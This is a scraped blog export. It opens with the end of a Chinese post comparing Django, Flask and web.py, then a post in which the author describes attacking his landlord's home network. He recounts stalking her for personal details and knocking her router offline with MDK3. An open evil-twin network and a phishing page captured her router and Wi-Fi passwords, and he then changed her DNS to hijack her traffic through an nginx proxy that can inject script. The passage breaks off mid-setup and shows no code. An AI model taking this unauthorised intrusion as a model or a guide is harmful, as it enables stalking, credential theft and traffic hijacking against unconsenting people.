class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u5bf9\u4e8e\u521d\u5b66\u8005\u6765\u8bf4\uff0c\u627e\u5230\u4e00\u4e2a\u597d\u7684\u6846\u67b6\u6765\u5b66\u4e60\u6216\u8005\u9879\u76ee\u5f00\u53d1\u90fd\u662f\u975e\u5e38\u6709\u5fc5\u8981\u7684\uff0c\u800c\u5f53\u4f60\u6709\u4e00\u5b9a\u5f00\u53d1\u7ecf\u9a8c\u540e\uff0c\u4f60\u5e94\u8be5\u9009\u62e9\u9002\u5408\u5f53\u524d\u4e1a\u52a1\u9700\u8981\u7684\u6846\u67b6\u3002\u6211\u8fd9\u91cc\u5e76\u4e0d\u60f3\u63a2\u8ba8\u54ea\u4e2a\u6846\u67b6\u597d\u54ea\u4e2a\u4e0d\u597d\uff0c\u8fd9\u4e2a\u6c38\u6052\u7684\u8bdd\u9898\u5c31\u8ddf\u63a2\u8ba8\u201c\u4e16\u754c\u4e0a\u54ea\u79cd\u7f16\u7a0b\u8bed\u8a00\u6700\u5c4c\u201d\u662f\u4e00\u6837\u7684\u3002\r\n</p>\r\n<h2>\r\n\t\u5206\u6790\r\n</h2>\r\n<p>\r\n\t\u9762\u5bf9\u4e00\u4e2a\u9879\u76ee\u9700\u6c42\uff0c\u4e0d\u8981\u7740\u6025\u53bb\u5f00\u53d1\uff0c\u5b66\u4f1a\u63a7\u5236\u5f00\u53d1\u6210\u672c\u7684\u524d\u63d0\u662f\u660e\u767d\u6280\u672f\u96be\u70b9\u53ef\u80fd\u5e26\u6765\u7684\u989d\u5916\u7684\u65f6\u95f4\u6d88\u8017\u3002\u5bf9\u4e8e\u6211\u8fd9\u79cd\u4e2d\u7ea7Python\u5f00\u53d1\u4eba\u5458\u6765\u8bf4\uff0c\u5e76\u6ca1\u6709\u5b9e\u8d28\u4e0a\u7684\u9879\u76ee\u7ecf\u9a8c\uff0c\u6ca1\u6709\u5f00\u53d1\u8fc7\u5927\u578b\u7684\u7ebf\u4e0a\u9879\u76ee\uff0c\u65e0\u975e\u662f\u722c\u866b\u5199\u4e86\u4e00\u5806\u53c8\u4e00\u5806\uff0c\u672c\u8d28\u4e0a\u8ddf\u521d\u5b66\u8005\u5dee\u522b\u4e0d\u5927\uff0c\u5145\u5176\u91cf\u4e5f\u5c31\u7b97\u4e00\u4e2a\u7f16\u7801\u7ecf\u9a8c\u4e30\u5bcc\u7684\u7801\u519c\u800c\u5df2\u3002\u6240\u4ee5\u5728\u9047\u5230\u96be\u5ea6\u76f8\u5bf9\u8f83\u5927\u7684\u9879\u76ee\u9700\u6c42\u65f6\uff0c\u5f80\u5f80\u4f1a\u7ea0\u7ed3\u8be5\u5982\u4f55\u9009\u62e9\u6846\u67b6\u4e0a\uff0c\u8fd9\u4e5f\u4f1a\u6d6a\u8d39\u6389\u5927\u91cf\u7684\u65f6\u95f4\u3002\r\n</p>\r\n<h2>\r\n\t\u9009\u62e9\r\n</h2>\r\n<p>\r\n\t\u6240\u8c13\u9879\u76ee\u7684\u96be\u5ea6\u5927\uff0c\u8981\u4e48\u662f\u4e1a\u52a1\u7c7b\u578b\u7e41\u591a\uff0c\u4e1a\u52a1\u903b\u8f91\u590d\u6742\u3002\u8981\u4e48\u662f\u6d89\u53ca\u5230\u4e00\u4e9b\u6269\u5c55\u529f\u80fd\uff0c\u6bd4\u5982\u9700\u8981\u8c03\u7528\u7cfb\u7edf\u7684shell\u547d\u4ee4\u3001\u4e32\u53e3\u901a\u4fe1\u7b49\u7b49\u3002\u524d\u8005\u6ca1\u6709\u6280\u672f\u96be\u70b9\uff0c\u4ec5\u4ec5\u662f\u4e1a\u52a1\u590d\u6742\uff0c\u8003\u8651\u5230\u540e\u671f\u9879\u76ee\u6269\u5c55\uff0c\u53ef\u80fd\u9700\u8981\u4e00\u4e2a\u826f\u597d\u7684\u7cfb\u7edf\u67b6\u6784\u3002\u5bf9\u4e8e\u540e\u8005\u6765\u8bf4\uff0c\u53ef\u80fd\u5b58\u5728\u96be\u4ee5\u5b9e\u73b0\u7684\u6280\u672f\u96be\u70b9\uff0c\u8981\u60f3\u641e\u5b9a\u6240\u6709\u7684\u6280\u672f\u96be\u70b9\uff0c\u9700\u8981\u91cd\u65b0\u5b66\u4e60\u5bf9\u5e94\u7684\u77e5\u8bc6\uff0c\u5305\u62ec\u540e\u9762\u7684\u4ee3\u7801\u6d4b\u8bd5\uff0c\u73af\u5883\u6a21\u62df\u6d4b\u8bd5\u7b49\u7b49\u4e00\u7cfb\u5217\u64cd\u4f5c\uff0c\u8fd9\u4e2a\u65f6\u95f4\u662f\u5f88\u96be\u4f30\u7b97\u7684\u3002\r\n</p>\r\n<p>\r\n\tPython web\u6846\u67b6\u91cc\u9762\u6bd4\u8f83\u51fa\u540d\u7684Django\u548cFlask\u7684\u9009\u62e9\u5f88\u662f\u8ba9\u4eba\u5934\u75bc\u3002\r\n</p>\r\n<p>\r\n\t\u5728\u521d\u5b66Python web\u7684\u65f6\u5019\uff0c\u5f88\u591a\u8001\u624b\u90fd\u63a8\u8350\u5b66\u4e60Django\uff0c\u539f\u56e0\u662f\u56e0\u4e3aDjango\u76f8\u5bf9\u6bd4\u8f83\u5b8c\u5584\uff0c\u529f\u80fd\u975e\u5e38\u5f3a\u5927\uff0c\u6709\u70b9\u50cf\u8457\u540d\u7684ThinkPHP\u6846\u67b6\u3002\u8001\u624b\u4eec\u8bf4\u7684\u5e76\u6ca1\u6709\u9519\uff0c\u4f46\u662f\u8fd9\u6837\u4e00\u5f00\u59cb\u5c31\u5165\u624b\u4e00\u6b3e\u91cd\u91cf\u7ea7\u6846\u67b6\u53ef\u80fd\u4e0d\u662f\u4e00\u4e2a\u597d\u7684\u5f00\u59cb\u3002\r\n</p>\r\n<p>\r\n\tDjango\u6846\u67b6\u7684\u5f3a\u5927\u5c31\u80af\u5b9a\u610f\u5473\u7740\u5b83\u662f\u4e00\u6b3e\u91cd\u91cf\u7ea7\u6846\u67b6\uff0c\u800c\u5bf9\u4e8e\u521d\u5b66\u8005\u6765\u8bf4\uff0c\u8fd9\u53ef\u80fd\u662f\u4e00\u79cd\u707e\u96be\u3002\u5982\u679c\u521d\u5b66\u8005\u6ca1\u6709\u5176\u4ed6\u8bed\u8a00\u7684\u57fa\u7840\uff0c\u6ca1\u6709\u540e\u7aef\u5f00\u53d1\u7684\u7ecf\u9a8c\uff0c\u90a3\u4e48\u8fd9\u79cd\u65b9\u5f0f\u53ef\u80fd\u76f4\u63a5\u5c31\u5bfc\u81f4\u653e\u5f03\u3002\r\n</p>\r\n<p>\r\n\tPython web\u7684\u5165\u95e8\uff0c\u4f7f\u7528web.py\u662f\u975e\u5e38\u597d\u7684\u9009\u62e9\u3002\u4e0d\u7ba1\u662fDjango\u8fd8\u662fFlask\uff0c\u4ed6\u4eec\u8bbe\u8ba1\u7684\u57fa\u7840\u90fd\u662fweb.py\u3002\u4e0d\u540c\u7684\u662fDjango\u8bbe\u8ba1\u7684\u66f4\u590d\u6742\uff0c\u66f4\u50cf\u662f\u4e00\u95f4\u505a\u597d\u786c\u88c5\u7684\u623f\u5b50\uff0c\u4f60\u53ea\u9700\u8981\u7a0d\u5fae\u505a\u4e00\u4e0b\u8f6f\u88c5\uff0c\u5e03\u7f6e\u4e00\u4e0b\u5bb6\u5177\u5c31\u80fd\u628a\u6574\u4e2a\u623f\u95f4\u8bbe\u8ba1\u7684\u5f88\u6f02\u4eae\u3002\r\n</p>\r\n<p>\r\n\tFlask\u5c31\u4e0d\u592a\u4e00\u6837\u4e86\uff0c\u5b83\u4ec5\u4ec5\u5e2e\u4f60\u505a\u597d\u4e86\u5efa\u623f\u5b50\u6240\u9700\u8981\u7684\u6750\u6599\uff0c\u623f\u5b50\u5982\u4f55\u642d\u5efa\uff0c\u5982\u4f55\u88c5\u4fee\u5168\u90fd\u5f97\u9760\u4f60\u81ea\u5df1\u52a8\u624b\uff0c\u6240\u4ee5\u540c\u4e00\u4e2a\u9879\u76ee\uff0c\u4f7f\u7528Flask\u6765\u505a\uff0c\u4e0d\u540c\u7684\u4eba\u53ef\u80fd\u8bbe\u8ba1\u51fa\u6765\u7684\u67b6\u6784\u5b8c\u5168\u4e0d\u540c\uff0c\u800c\u4f7f\u7528Django\u6846\u67b6\u505a\u51fa\u6765\u7684\u67b6\u6784\u53ef\u80fd\u90fd\u5dee\u4e0d\u591a\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u5bf9\u4e8e\u7528\u8fc7MVC\u6846\u67b6\u7684\u5f00\u53d1\u8005\u6765\u8bf4\uff0c\u4e0a\u624bDjango\u662f\u5f88\u5feb\u7684\uff0c\u56e0\u4e3aDjango\u4e5f\u662fMVC\u6a21\u5f0f\u3002Flask\u5c31\u6ca1\u6709\u4ec0\u4e48\u6a21\u5f0f\u53ef\u8a00\u4e86\uff0c\u4ec5\u4ec5\u63d0\u4f9b\u4e86\u4e00\u79cd\u670d\u52a1\u800c\u5df2\uff0c\u8981\u641e\u6210\u4ec0\u4e48\u6837\u5b50\u5168\u9760\u81ea\u5df1\u3002\u6240\u4ee5\u5982\u679c\u4f60\u60f3\u81ea\u5df1\u53bb\u8bbe\u8ba1\u76ee\u5f55\u7ed3\u6784\uff0c\u6a21\u5757\u7684\u5212\u5206\u7b49\u4e2a\u6027\u5316\u8bbe\u8ba1\u65f6\uff0c\u63a8\u8350\u4f7f\u7528Flask\u3002\u5f0a\u7aef\u4e5f\u5f88\u660e\u663e\uff0c\u5982\u679c\u4f60\u4e0d\u662f\u4e00\u4e2a\u7ecf\u9a8c\u4e30\u5bcc\u7684\u5f00\u53d1\u8005\uff0c\u4f60\u5f88\u53ef\u80fd\u4f1a\u628a\u6574\u4e2a\u9879\u76ee\u67b6\u6784\u8bbe\u8ba1\u7684\u4e71\u4e03\u516b\u7cdf\u3002\r\n</p>\r\n<p>\r\n\t\u5bf9\u4e8e\u6211\u6765\u8bf4\uff0c\u5f88\u591a\u65f6\u5019\u4e00\u4e2a\u9879\u76ee\u521a\u5f00\u59cb\u5e76\u4e0d\u89c9\u5f97\u662f\u4e2a\u5927\u9879\u76ee\uff0c\u505a\u5230\u540e\u9762\u529f\u80fd\u8d8a\u6765\u8d8a\u591a\uff0c\u6269\u5c55\u8d8a\u6765\u8d8a\u591a\uff0c\u5c31\u53d8\u6210\u4e86\u4e00\u4e2a\u5927\u9879\u76ee\uff0c\u800c\u4f7f\u7528Flask\u5c31\u5f88\u5bb9\u6613\u7684\u5b8c\u6210\u8fd9\u4e2a\u4efb\u52a1\uff0c\u5c0f\u578b\u9879\u76ee\u5feb\u901f\u5f00\u53d1\uff0c\u5927\u9879\u76ee\u8bbe\u8ba1\u7075\u6d3b\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23441 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u4fee\u6539\u8def\u7531\u5668\u7684DNS\u540e\u6211\u505a\u4e86\u4ec0\u4e48\uff1f"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-03-09, 4:25 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u4fe1\u606f\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "\u653b\u51fb\u6d4b\u8bd5", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n\t\t\t\t\t\t\t\t\n, ", "\u9690\u79c1\u4fdd\u62a4", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u6211\u5728\u6bd4\u8f83\u65e9\u7684\u65f6\u5019\u5199\u8fc7\u4e00\u7bc7\u6587\u7ae0\uff0c\u8bf4\u5230\u6211\u8fde\u63a5wifi\u4e4b\u540e\u90fd\u505a\u4e86\u4ec0\u4e48\uff0c\u4e3b\u8981\u76ee\u7684\u662f\u60f3\u8bf4\u660e\u5c40\u57df\u7f51\u5185\u90e8\u5b89\u5168\u7684\u8106\u5f31\u3002\u4eca\u5929\u6765\u8bf4\u8bf4\u8def\u7531\u5668\u4e00\u65e6\u88ab\u653b\u9677\uff0c\u5c06\u4f1a\u5e26\u6765\u600e\u6837\u7684\u5371\u5bb3\uff0c\u8fd9\u91cc\u6211\u53ea\u60f3\u8bb2\u8bb2\u5916\u7f51\u653b\u51fb\u8def\u7531\u5668\u7684\u601d\u8def\u3002\r\n</p>\r\n<h2>\r\n\t\u573a\u666f\r\n</h2>\r\n<p>\r\n\t\u6211\u8fd9\u91cc\u5c06\u4f1a\u4f7f\u7528\u4e00\u4e2a\u771f\u5b9e\u7684\u573a\u666f\u6765\u63cf\u8ff0\u6574\u4e2a\u653b\u51fb\u8fc7\u7a0b\uff0c\u5176\u5b9e\u662f\u975e\u5e38\u6709\u610f\u601d\u7684\u3002\r\n</p>\r\n<p>\r\n\t\u6211\u7684\u623f\u4e1cA\u662f\u4e00\u4e2a\u623f\u5730\u4ea7\u7684\u8001\u677f\uff0c\u6211\u82b1\u4e861800\u79df\u4e0b\u4e86A\u7684\u4e00\u95f4\u516c\u5bd3\uff0c\u56e0\u4e3aA\u7279\u522b\u6709\u94b1\uff0c\u4ee5\u81f3\u4e8e\u5bf9\u6211\u8fd9\u79cd\u7a77\u5c4c\u4e1d\u4e0d\u5c51\u4e00\u987e\uff0c\u5bf9\u4e8e\u6211\u7ecf\u5e38\u53eb\u5916\u5356\u5bfc\u81f4\u5916\u5356\u5c0f\u54e5\u7ecf\u5e38\u6309\u9519A\u5bb6\u91cc\u7684\u95e8\u94c3\u8868\u793a\u975e\u5e38\u4e0d\u6ee1\u610f\u3002\r\n</p>\r\n<p>\r\n\t\u51fa\u4e8e\u5bf9\u5730\u4ea7\u5546\u8fd9\u79cd\u89d2\u8272\u7684\u7406\u89e3\uff0c\u6211\u51b3\u5b9a\u770b\u4e0bA\u7684\u7f51\u7edc\u4e60\u60ef\u662f\u600e\u6837\u7684\u3002\r\n</p>\r\n<h2>\r\n\t\u601d\u8def\r\n</h2>\r\n<p>\r\n\t\u5f00\u59cb\u4e4b\u524d\u6211\u5fc5\u987b\u7406\u4e00\u4e0b\u601d\u8def\uff0c\u9996\u5148\u60f3\u5230\u7684\u81ea\u7136\u5c31\u662f\u793e\u4f1a\u5de5\u7a0b\u5b66\u4e86\uff0c\u5982\u679c\u793e\u5de5\u4e0d\u6210\u529f\uff0c\u81ea\u7136\u5c31\u4f1a\u60f3\u5230wifi\u7834\u89e3\u3002OK\uff0c\u8fd9\u4e24\u6761\u8def\u5dee\u4e0d\u591a\u4e86\uff0c\u6211\u5f53\u7136\u77e5\u9053\u8fd8\u6709\u975e\u5e38\u591a\u7684\u9014\u5f84\u53ef\u4ee5\u8d70\uff0c\u4f46\u662f\u5bf9\u4e8e\u4ed6\u4eec\u8fd9\u79cd\u7f51\u7edc\u5c0f\u767d\uff0c\u591f\u7528\u4e86\u3002\r\n</p>\r\n<h2>\r\n\t\u6536\u96c6\r\n</h2>\r\n<p>\r\n\t\u5f00\u59cb\u6211\u53ea\u77e5\u9053A\u7684\u59d3\u540d\uff0c\u4ee5\u53caA\u7684\u624b\u673a\u53f7\u7801\uff08\u663e\u7136\u662f\u5c0f\u53f7\uff09\uff0c\u8fd9\u4e9b\u57fa\u672c\u4fe1\u606f\u5728\u79df\u623f\u5408\u540c\u4e0a\u9762\u5df2\u7ecf\u6709\u4e86\uff0c\u5176\u4ed6\u4fe1\u606f\u6211\u4e00\u65e0\u6240\u77e5\u3002\r\n</p>\r\n<p>\r\n\t\u901a\u8fc7\u5404\u79cd\u793e\u5de5\u5e93\uff0c\u5e76\u6ca1\u6709\u67e5\u5230\u5bf9\u5e94\u7684\u793e\u4ea4\u4fe1\u606f\uff0c\u770b\u8d77\u6765\u4ed6\u4eec\u4f3c\u4e4e\u5e76\u4e0d\u662f\u5f88\u559c\u6b22\u5728\u7f51\u4e0a\u6d3b\u52a8\u3002\u5f97\u77e5A\u662f\u5730\u4ea7\u516c\u53f8\u7684\u8001\u677f\u4e4b\u540e\uff0c\u6211\u5728\u767e\u5ea6\u6587\u5e93\u4e0a\u627e\u5230\u4e86\u4e00\u4efd\u6587\u6863\uff0c\u6587\u7ae0\u4e2d\u8bb0\u8f7d\u4e86\u6211\u5e02\u6240\u6709\u5730\u4ea7\u5546\u8d1f\u8d23\u4eba\u7684\u624b\u673a\u53f7\u7801\u4ee5\u53ca\u59d3\u540d\u3002\r\n</p>\r\n<p>\r\n\tOK\uff0c\u641e\u5b9aA\u7684\u5e38\u7528\u624b\u673a\u53f7\u7801\u4e4b\u540e\u7ee7\u7eed\u67e5\u5176\u4ed6\u4fe1\u606f\uff0c\u901a\u8fc7\u5c3e\u968fA\u4e0b\u7535\u68af\uff0c\u627e\u5230A\u7684\u8f66\uff0c\u987a\u4fbf\u8bb0\u4e0bA\u7684\u8f66\u724c\u53f7\u7801\uff0c\u53d1\u73b0\u571f\u8c6a\u5c31\u662f\u571f\u8c6a\uff0c\u8f66\u724c\u53f7\u540e4\u4f4d\u5c31\u662f\u624b\u673a\u53f7\u540e4\u4f4d\u3002\u770b\u6765\u8fd9\u6570\u5b57\u5bf9A\u6765\u8bf4\u662f\u4e2a\u5f88\u5409\u5229\u7684\u6570\u5b57\u3002\r\n</p>\r\n<p>\r\n\t\u56de\u5230\u4f4f\u5904\uff0c\u6211\u4f7f\u7528wifi\u5206\u6790\u4eea\uff08\u5b89\u5353\u7248\uff09\u57fa\u672c\u786e\u5b9a\u4e86A\u5bb6\u91cc\u7684WIFI\u540d\u79f0\u4ee5\u53ca\u653e\u7f6e\u7684\u5927\u6982\u4f4d\u7f6e\uff0cwifi\u540d\u79f0\u4f7f\u7528\u7684\u662f\u8def\u7531\u5668\u51fa\u5382\u81ea\u5e26\u7684MECURY_xxxx\uff0c\u63a8\u6d4bA\u5e76\u6ca1\u6709\u8ba4\u771f\u8bbe\u7f6e\u8fc7\u8def\u7531\u5668\uff0c\u90a3\u4e48\u5f88\u53ef\u80fd\u5b58\u5728\u5f31\u53e3\u4ee4\u95ee\u9898\u3002\r\n</p>\r\n<p>\r\n\t\u901a\u8fc7\u5fae\u4fe1\uff0cQQ\uff0c\u652f\u4ed8\u5b9d\u7b49\u8f6f\u4ef6\uff0c\u5206\u522b\u62ff\u5230\u90ae\u7bb1\u8d26\u53f7\uff0c\u624b\u673a\u5c0f\u53f7\u7b49\uff0c\u4f46\u90fd\u65e0\u5375\u7528\uff0cwifi\u5bc6\u7801\u641e\u4e0d\u5b9a\u662f\u4e00\u4e2a\u5927\u95ee\u9898\u3002\r\n</p>\r\n<p>\r\n\t\u4f7f\u7528MDK3\u6253\u6b7bA\u5bb6\u91cc\u7684\u8def\u7531\u5668\uff0c\u7136\u540e\u653e\u51fa\u4e00\u4e2a\u76f8\u540cSSID\u7684wifi\u51fa\u6765\uff0c\u65e0\u5bc6\u7801\uff0c\u6700\u7ec8A\u8fd8\u662f\u94fe\u63a5\u5230\u6211\u7684WiFi\u4e0a\uff0c\u901a\u8fc7\u9493\u9c7c\u9875\u9762\u987a\u5229\u62ff\u5230\u8def\u7531\u5668\u7684\u767b\u5f55\u5bc6\u7801\u4ee5\u53caWIFI\u5bc6\u7801\u3002\r\n</p>\r\n<p>\r\n\t\u6709\u4e86\u8fd9\u4e9b\u4fe1\u606f\uff0c\u63a5\u4e0b\u6765\u5c31\u662f\u653b\u51fb\u9636\u6bb5\u4e86\u3002\r\n</p>\r\n<h2>\r\n\t\u653b\u51fb\r\n</h2>\r\n<p>\r\n\t\u4f7f\u7528\u62ff\u5230\u7684wifi\u5bc6\u7801\u548c\u8def\u7531\u5668\u7ba1\u7406\u5bc6\u7801\u987a\u5229\u8fdb\u5165\u8def\u7531\u5668\uff0c\u76f4\u63a5\u4f7f\u7528ARP\u653b\u51fb\uff1fNo\uff0c\u8fd9\u4e2a\u4e0d\u592a\u597d\u5b9e\u73b0\uff0c\u6211\u767d\u5929\u4e0a\u73ed\u6ca1\u6709\u65f6\u95f4\u7ba1\uff0c\u665a\u4e0aA\u53c8\u4e0d\u4e00\u5b9a\u5728\u7ebf\u4e0a\uff0c\u6211\u8981\u5b9e\u73b0\u8fdc\u7a0b\u63a7\u5236\u8981\u600e\u4e48\u505a\u5462\uff1f\r\n</p>\r\n<p>\r\n\t\u7b2c\u4e00\u79cd\u65b9\u6848\u662f\u4f7f\u7528\u82b1\u751f\u58f3\uff0c\u6620\u5c04\u4e00\u4e2a\u5185\u7f51IP\u5230\u6211\u7684\u7535\u8111\uff0c\u7136\u540e\u6211\u53ef\u4ee5\u4f7f\u7528\u5916\u7f51\u63a5\u5165\u5230\u6211\u7684\u7535\u8111\u8fdb\u884c\u626b\u63cf\uff0c\u8fd9\u79cd\u65b9\u6848\u867d\u7136\u4e0d\u9519\uff0c\u4f46\u662f\u98ce\u9669\u8f83\u5927\uff0c\u6bd5\u7adf\u6709\u82b1\u751f\u58f3\u7684\u8d26\u53f7\u5bc6\u7801\u5728\u8def\u7531\u5668\u91cc\u9762\u3002\r\n</p>\r\n<p>\r\n\t\u7b2c\u4e8c\u79cd\u65b9\u6848\uff0c\u76f4\u63a5\u5728\u6211\u7684\u7535\u8111\u91cc\u9762\u8fd0\u884c\u82b1\u751f\u58f3\u811a\u672c\uff0c\u8fd9\u79cd\u4e5f\u53ef\u4ee5\u5b9e\u73b0\u5185\u7f51\u63a7\u5236\uff0c\u53ef\u884c\u3002\r\n</p>\r\n<p>\r\n\t\u7b2c\u4e09\u79cd\u65b9\u6848\uff0c\u76f4\u63a5\u4fee\u6539DNS\u5730\u5740\uff0c\u8fd9\u79cd\u6211\u5c31\u53ef\u4ee5\u5b9e\u73b0\u957f\u671f\u6301\u4e45\u5316\u63a7\u5236\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u6700\u7ec8\u6211\u9009\u62e9\u4e86\u7b2c\u4e09\u79cd\u65b9\u6848\uff0c\u4fee\u6539\u4e86\u8def\u7531\u5668\u7684DNS\uff0c\u56e0\u4e3a\u6211\u89c9\u5f97\u623f\u79df\u592a\u8d35\u4e86\uff0c\u6240\u4ee5\u6362\u4e86\u4e2a\u5730\u65b9\u3002\r\n</p>\r\n<p>\r\n\t\u6709\u4e86DNS\u4e4b\u540e\u6211\u53ef\u4ee5\u505a\u5f88\u591a\u4e8b\u60c5\uff0c\u9996\u5148\u6765\u8bf4\u8bf4\u52ab\u6301\u7684\u539f\u7406\u3002\r\n</p>\r\n<h2>\r\n\t\u539f\u7406\r\n</h2>\r\n<p>\r\n\t\u6b63\u5e38\u60c5\u51b5\u4e0b\u7684\u662f\u8fd9\u4e48\u4e2a\u6d41\u7a0b\uff1a\u5ba2\u6237\u7aef\u5411\u8def\u7531\u5668\u53d1\u8d77\u8bf7\u6c42\uff0c\u8be2\u95eeabc.com\u7684IP\u5730\u5740\u662f\u591a\u5c11\uff0c\u8def\u7531\u5668\u6536\u5230\u8be2\u95ee\u540e\u6839\u636e\u53bb\u95eeDNS\u670d\u52a1\u5668abc.com\u7684\u5730\u5740\u662f\u591a\u5c11\uff0cDNS\u670d\u52a1\u5668\u56de\u7b54\u4e86abc.com\u7684IP\u5730\u5740\u662f1.2.3.4\u7ed9\u8def\u7531\u5668\uff0c\u8def\u7531\u5668\u56de\u7b54\u5ba2\u6237\u7aefabc.com\u7684IP\u5730\u5740\u662f1.2.3.4\uff0c\u5ba2\u6237\u7aef\u518d\u4e0e1.2.3.4\u5efa\u7acb\u901a\u4fe1\u8fde\u63a5\u3002\r\n</p>\r\n<p>\r\n\t\u73b0\u5728DNS\u670d\u52a1\u5668\u88ab\u6211\u66ff\u6362\u4e86\uff0c\u6240\u4ee5\u6d41\u7a0b\u5c31\u662f\u8fd9\u6837\u7684\uff1a\u5ba2\u6237\u7aef\u5411\u8def\u7531\u5668\u53d1\u8d77\u8bf7\u6c42\uff0c\u8be2\u95eeabc.com\u7684IP\u5730\u5740\u662f\u591a\u5c11\uff0c\u8def\u7531\u5668\u6536\u5230\u8be2\u95ee\u540e\u6839\u636e\u53bb\u95ee<strong><span style=\"color:#E53333;\">\u5047</span></strong>DNS\u670d\u52a1\u5668abc.com\u7684\u5730\u5740\u662f\u591a\u5c11\uff0c<span style=\"color:#E53333;\"><strong>\u5047</strong></span>DNS\u670d\u52a1\u5668\u56de\u7b54\u4e86abc.com\u7684IP\u5730\u5740\u662f4.3.2.1\u7ed9\u8def\u7531\u5668\uff0c\u8def\u7531\u5668\u56de\u7b54\u5ba2\u6237\u7aefabc.com\u7684IP\u5730\u5740\u662f4.3.2.1\uff0c\u5ba2\u6237\u7aef\u518d\u4e0e4.3.2.1\u5efa\u7acb\u901a\u4fe1\u8fde\u63a5\u3002\r\n</p>\r\n<p>\r\n\t\u6b64\u65f6\u5982\u679c4.3.2.1\u4e0a\u6ca1\u6709\u914d\u7f6e\u4efb\u4f55\u4e1c\u897f\uff0c\u90a3\u4e48\u5ba2\u6237\u7aef\u6253\u5f00\u7684abc.com\u5c31\u662f\u5565\u4e5f\u6ca1\u6709\uff0c\u4e3a\u4e86\u8ba9\u5ba2\u6237\u7aef\u4e5f\u663e\u793a\u539f\u6765\u7684\u5185\u5bb9\u90a3\u8981\u600e\u4e48\u529e\u5462\uff1f\r\n</p>\r\n<p>\r\n\t\u5f88\u7b80\u5355\uff0c\u4f7f\u7528nginx\u8fdb\u884c\u53cd\u5411\u4ee3\u7406\uff0cnginx\u53bb\u771f\u5b9e\u7684abc.com\u4e0a\u628a\u5185\u5bb9\u6293\u53d6\u56de\u6765\uff0c\u7136\u540e\u751f\u6210\u4e00\u4e2a\u670d\u52a1\u7aef\uff0c\u8fd9\u6837\u5ba2\u6237\u7aef\u867d\u7136\u8bbf\u95ee\u7684\u662f\u5047\u7684IP\u5730\u5740\uff0c\u4f46\u662f\u5185\u5bb9\u4f9d\u7136\u662f\u771f\u7684\u3002\r\n</p>\r\n<p>\r\n\t\u90a3\u4e48\u5c31\u6709\u540c\u5b66\u8981\u95ee\u4e86\uff0c\u8fd9\u4e48\u505a\u6709\u4e2a\u9524\u5b50\u7528\uff1f\r\n</p>\r\n<p>\r\n\t\u5f53\u7136\u6709\u7528\u4e86\uff0cnginx\u53bb\u6293\u53d6\u5185\u5bb9\uff0c\u7136\u540e\u518d\u628a\u5185\u5bb9\u8fd4\u56de\u7ed9\u5ba2\u6237\u7aef\uff0c\u8fd9\u4e2d\u95f4\u6211\u53ef\u4ee5\u5229\u7528nginx\u505a\u5f88\u591a\u4e8b\u60c5\u4e86\uff0c\u6700\u5e38\u89c1\u7684\u5c31\u662f\u4fee\u6539\u5185\u5bb9\uff0c\u4fee\u6539\u5185\u5bb9\u53ef\u4ee5\u4fee\u6539\u56fe\u7247\u3001\u6587\u5b57\u3001\u63d2\u5165js\u4ee3\u7801\u7b49\u7b49\u3002\r\n</p>\r\n<p>\r\n\t\u4f60\u8bd5\u60f3\u4e00\u4e0b\uff0c\u9875\u9762\u4f60\u90fd\u80fd\u968f\u610f\u4fee\u6539\u4e86\uff0c\u4f60\u8fd8\u6709\u4ec0\u4e48\u4e0d\u80fd\u505a\u7684\uff1f\r\n</p>\r\n<p>\r\n\t\u597d\u4e86\uff0c\u601d\u8def\u6709\u4e86\uff0c\u54b1\u4eec\u5c31\u53ef\u4ee5\u5f00\u59cb\u5b9e\u6218\u6f14\u7ec3\u3002\r\n</p>\r\n<h2>\r\n\t\u914d\u7f6e\r\n</h2>\r\n<p>\r\n\t\u9996\u5148\u4f60\u9700\u8981\u81ea\u5df1\u642d\u5efa\u4e00\u4e2aDNS\u670d\u52a1\u5668\uff0c\u4e00\u822c\u8def\u7531\u5668\u91cc\u9762\u662f\u53ef\u4ee5\u586b\u5199\u4e24\u4e2aDNS\u670d\u52a1\u5668\u5730\u5740\u7684\uff0c\u4e3a\u4e86\u5b89\u5168\u8d77\u89c1\uff0c\u7b2c\u4e00\u4e2a\u53ef\u4ee5\u586b\u5199\u6211\u4eec\u81ea\u5df1\u7684DNS\u670d\u52a1\u5668\uff0c\u7b2c\u4e8c\u4e2a\u53ef\u4ee5\u586b\u5199\u4e00\u4e2a\u53ef\u7528\u76848.8.8.8\uff0c\u8fd9\u6837\u505a\u662f\u4e3a\u4e86\u9632\u6b62\u6211\u4eec\u7684DNS\u670d\u52a1\u5668\u6302\u6389\u4e4b\u540e\u5ba2\u6237\u7aef\u4f9d\u7136\u80fd\u591f\u6b63\u5e38\u4e0a\